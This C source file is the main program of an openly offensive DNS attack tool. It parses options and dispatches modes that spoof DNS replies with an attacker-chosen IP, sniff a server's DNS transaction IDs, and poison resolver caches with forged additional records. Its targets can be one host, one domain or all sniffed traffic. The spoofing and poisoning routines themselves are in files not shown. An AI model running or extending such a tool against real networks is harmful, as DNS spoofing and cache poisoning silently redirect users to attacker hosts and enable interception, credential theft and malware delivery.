#include <stdio.h>
#include <getopt.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <arpa/inet.h>
#include <sys/socket.h>

#include "usage.h"
#include "netdefs.h"
#include "dnsspoof.h"
#include "poisoning.h"
#include "sniffid.h"
#include "config.h"

extern char *optarg;
extern int optind;
extern int opterr;

int main(int argc, char *argv[])
{
	char domain[MAX_DOMAIN_LONG + 1];	
	char hostname[MAX_DOMAIN_LONG + 1];	
	char fakeip[MAX_IP_LONG + 1];
	char target[MAX_IP_LONG + 1];
	char host_ip[MAX_IP_LONG + 1];
	char filename[MAX_FILE_NAME_LONG + 1];
	char *interface = NULL;
	int mode = -1;			/* Tool mode. Cf usage.h for additional informations */
	int option;
	
	memset(domain, 0, MAX_DOMAIN_LONG + 1);
	memset(hostname, 0, MAX_DOMAIN_LONG + 1);
	memset(fakeip, 0, MAX_IP_LONG + 1);
	memset(target, 0, MAX_IP_LONG + 1);
	memset(host_ip, 0, MAX_IP_LONG + 1);
	memset(filename, 0, MAX_FILE_NAME_LONG + 1);
	
#ifdef DEBUG
	printf("####################### DEBUG ENABLED #######################\n\n");
#endif

	if(argc < 2)
		usage(argv[0]);

	if(getuid() != 0)
	{
		fprintf(stderr, "You must run %s as root, or suid it (dangerous because of flows (hope not!)\n", argv[0]);
		exit(EXIT_FAILURE);
	}

	while( (option = getopt(argc, argv, "123S:s:D:i:w:a:b:hv")) !=-1 )
	{
		switch(option)
		{
			case '1':
				/* DNS ID Spoofing mode */
				if(mode != -1)
					err_mode();
				mode = MODE_DNS_ID_SPOOFING;
				break;
			case '2':
				/* DNS ID Sniffing mode */
				if(mode != -1)
					err_mode();
				mode = MODE_DNS_ID_SNIFFING;
				break;
			case '3':
				/* DNS cache poisoning mode */
				if(mode != -1)
					err_mode();
				mode = MODE_DNS_POISONING;
				break;	
			case 's':
				/* Host to fool */
				if(strlen(target))
				{
					err_arg_twice("Option -s");
				}
				if(strlen(optarg) > MAX_IP_LONG) err_long("Option -s [ IP ]");
				if( (inet_addr(optarg)) == INADDR_NONE )	/* Check for IP validity */ 
				{
					fprintf(stderr, "Invalid argument : %s\n", optarg);
					exit(EXIT_FAILURE);
				}
				strncpy(target, optarg, MAX_IP_LONG);
				break;
			case 'S':
				/* IP to send to the queries	-  Required field if dns id spoofing */
				if(strlen(fakeip))
					err_arg_twice("Option -S");
				if(mode == -1)
					err_arg();
				if( (inet_addr(optarg)) == INADDR_NONE ) 
				{
					fprintf(stderr, "Invalid argument : %s\n", optarg);
					exit(EXIT_FAILURE);
				}
				if(strlen(optarg) > MAX_IP_LONG) err_long("IP [for DNS queries]");
				strncpy(fakeip, optarg, MAX_IP_LONG);
				break;
			case 'D':
				/* Hostname query to fool - Optional */
				if(strlen(domain))
					err_arg_twice("Option -D");
				if(strlen(optarg)>MAX_DOMAIN_LONG) err_long("Domain");
				strncpy(domain, optarg, MAX_DOMAIN_LONG);
				break;
			case 'a':
				/* Hostname for additional record (DNS cache poisoning) */
				if(strlen(hostname))
					err_arg_twice("Option -a");
				if(strlen(optarg)>MAX_DOMAIN_LONG) err_long("Hostname");
				strncpy(hostname, optarg, MAX_DOMAIN_LONG);
				break;
			case 'b':
				/* IP to send to the additional record (DNS cache poisoning) */
				if(strlen(host_ip))
					err_arg_twice("Option -b");
				if(mode == -1)
					err_arg();
				if( (inet_addr(optarg)) == INADDR_NONE ) 
				{
					fprintf(stderr,"Invalid argument : %s\n",optarg);
					exit(EXIT_FAILURE);
				}
				if(strlen(optarg) > MAX_IP_LONG) err_long("IP [for additional record]");
				strncpy(host_ip, optarg, MAX_IP_LONG);
				break;
			case 'i':
				if(interface != NULL)
					err_arg_twice("Option -i");
				if(strlen(optarg) > MAX_INTERFACE_LONG) err_long("Interface");
				interface = malloc((MAX_INTERFACE_LONG+1) * sizeof(char));
				if(interface == NULL)
					err_mem();
				memset(interface, 0, MAX_INTERFACE_LONG);
				strncpy(interface, optarg, MAX_INTERFACE_LONG);
				*(interface + MAX_INTERFACE_LONG) = '\0';
				break;
			case 'w':
				if(mode != MODE_DNS_ID_SNIFFING)
				{
					fprintf(stderr, "** Error : You have to choose DNS IDs sniffing mode to enable this option\n");
					exit(EXIT_FAILURE);
				}
				if(strlen(optarg) > MAX_FILE_NAME_LONG)
				{
					fprintf(stderr, "** Error : The file name you specify is geater than %d. Please, choose one shorter\n", MAX_FILE_NAME_LONG); 
					exit(EXIT_FAILURE);
				}
				strncpy(filename, optarg, MAX_FILE_NAME_LONG);
				break;
			case 'h':
				usage(argv[0]);
				break;
			default:
				usage(argv[0]);
				break;
		}
	}

	switch(mode)
	{
		case MODE_DNS_ID_SPOOFING:
			printf("DNS ID Spoofing mode\n");
			if(strlen(fakeip) == 0)
			{
				fprintf(stderr, "** Error : You have to define the fake IP to send in this mode\n");
				return(EXIT_FAILURE);
			}
			if(strlen(target) == 0)
			{
				printf("Let's spoof every sniffed DNS requests with IP %s\n", fakeip);
				if(strlen(domain) == 0)
					grab_dns_queries(interface, NULL, fakeip, NULL);
				else
					grab_dns_queries(interface, NULL, fakeip, domain);
			}
			else
			{
				printf("Let's spoof DNS requests from %s with IP %s\n", target, fakeip);
				if(strlen(domain) == 0)
					grab_dns_queries(interface, target, fakeip, NULL);
				else
					grab_dns_queries(interface, target, fakeip, domain);
			}
			break;
			
		case MODE_DNS_ID_SNIFFING:
			printf("DNS ID Sniffing mode\n");
			if(strlen(target) == 0)
			{
				fprintf(stderr, "** Error : You have to define IP for DNS server which makes queries\n");
				return(EXIT_FAILURE);
			}
			printf("Let's sniff DNS requests from %s\n", target);
			if(strlen(filename))
				grab_dns_IDs(interface, target, filename);
			else
				grab_dns_IDs(interface, target, NULL);
			break;
			
		case MODE_DNS_POISONING:
			printf("DNS cache poisoning mode\n");
			if( (strlen(fakeip) == 0) || (strlen(host_ip) == 0) || (strlen(hostname) == 0) )
			{
				fprintf(stderr, "** Error : You have to fix other options to run this mode\n");
				return(EXIT_FAILURE);
			}
			if(strlen(target) == 0)
			{
				printf("Let's send forged answsers to every sniffed DNS queries with IP %s\n", fakeip);
				if(strlen(domain) == 0)
					grab_server_queries(interface, NULL, fakeip, NULL, hostname, host_ip);
				else
					grab_server_queries(interface, NULL, fakeip, domain, hostname, host_ip);
			}
			else
			{
				printf("Let's send forged answers to DNS requests from %s with IP %s\n", target, fakeip);
				if(strlen(domain) == 0)
					grab_server_queries(interface, target, fakeip, NULL, hostname, host_ip);
				else
					grab_server_queries(interface, target, fakeip, domain, hostname, host_ip);
			}
			break;

		default:	/* This mode should never be threated if everything is okay */
			fprintf(stderr, "%s\n", ERR_ARGS);
			exit(EXIT_FAILURE);
			break;
	}

	if(interface != NULL)
		free(interface);

	return (EXIT_SUCCESS);
}
